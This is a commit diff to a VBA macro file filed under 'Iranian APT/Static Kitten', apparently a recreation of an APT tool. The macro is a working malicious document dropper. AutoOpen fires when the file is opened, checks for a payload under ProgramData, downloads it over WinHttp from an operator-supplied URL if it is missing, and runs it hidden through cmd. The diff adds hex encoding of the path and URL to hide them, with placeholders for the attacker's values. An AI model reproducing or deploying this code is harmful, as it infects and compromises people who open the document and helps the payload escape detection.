Update macros.bas

Iranian APT/Static Kitten/macros.bas

@@ -1,7 +1,9 @@
-
 Sub love_me_____()
     Dim filePath As String
-    filePath = "C:\\ProgramData\\CertificationKit.ini"
+    Dim encodedPath As String  
+    
+    encodedPath = "Put the HEX code for the actual path here"
+    filePath = DecodeHex(encodedPath)
 
     If Len(Dir(filePath)) > 0 Then
         ExecuteFile filePath
@@ -9,18 +11,17 @@ Sub love_me_____()
         DownloadAndRun filePath
     End If
 End Sub
+
 Sub DownloadAndRun(filePath As String)
     On Error Resume Next
     Dim objHTTP As Object
     Dim fileNum As Integer
     Dim byteData() As Byte
+    Dim fileURL As String
+    Dim encodedURL As String  
     
-    ' =============================================
+    encodedURL = "Put the HEX code for the download URL here"
-    ' IMPORTANT: Put your download link below
+    fileURL = DecodeHex(encodedURL)
-    ' Example: https://yourserver.com/CertificationKit.ini
-    ' =============================================
-    fileURL = ""
-
    
     Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
     objHTTP.Option(4) = 13056
@@ -40,6 +41,18 @@ Sub DownloadAndRun(filePath As String)
         End If
     End If
 End Sub
+
+Function DecodeHex(hexString As String) As String
+    Dim i As Long
+    Dim result As String
+    
+    For i = 1 To Len(hexString) Step 2
+        result = result & Chr$(Val("&H" & Mid$(hexString, i, 2)))
+    Next i
+    
+    DecodeHex = result
+End Function
+
 Sub ExecuteFile(filePath As String)
     On Error Resume Next
    
@@ -47,6 +60,7 @@ Sub ExecuteFile(filePath As String)
     CreateObject("WScript.Shell").Run "cmd /c start /b """ & filePath & """", 0, False
    
 End Sub
+
 Sub AutoOpen()
     love_me_____
 End Sub